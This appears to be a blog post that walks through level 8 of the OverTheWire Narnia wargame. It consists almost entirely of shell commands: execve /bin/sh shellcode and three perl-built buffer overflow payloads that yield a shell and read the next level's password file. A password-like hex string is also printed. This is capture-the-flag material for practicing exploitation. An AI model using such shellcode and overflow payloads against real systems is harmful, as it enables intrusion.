#ssh narnia8@narnia.labs.overthewire.org
6d6f6874687570686f67
narnia8@melissa$file /narnia/narnia8
narnia8@melissa$cat /narnia/narnia8.c
narnia8@melissa$mkdir /tmp/n8
narnia8@melissa$cd /tmp/n8
narnia8@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
narnia8@melissa$./getenvaddr EGG /narnia/narnia8
narnia8@melissa$/narnia/narnia8 `perl -e 'print "A"x20 . "\xeb\xd8\xff\xff" . "A"x8 . "\x8d\x7f\xff\xff" . "\x7d\xd9\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia9
$exit
narnia8@melissa:/tmp/n8$/narnia/narnia8 `perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xeb\x04" . "\xeb\xd8\xff\xff" . "\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x8d\x7f\xff\xff" . "\xeb\xd8\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia9
$exit
narnia8@melissa$ln -s /bin/sh sh
narnia8@melissa$/narnia/narnia8 `perl -e 'print "\x31\xc0\x50\x68\x2e\x2f\x73\x68\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xeb\xd8\xff\xff" . "A"x8 . "\x8d\x7f\xff\xff" . "\xeb\xd8\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia9
# Narnia wargame: Level 8
Posted by
t0n1
Labels:
narnia,
overthewire,
wargame
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment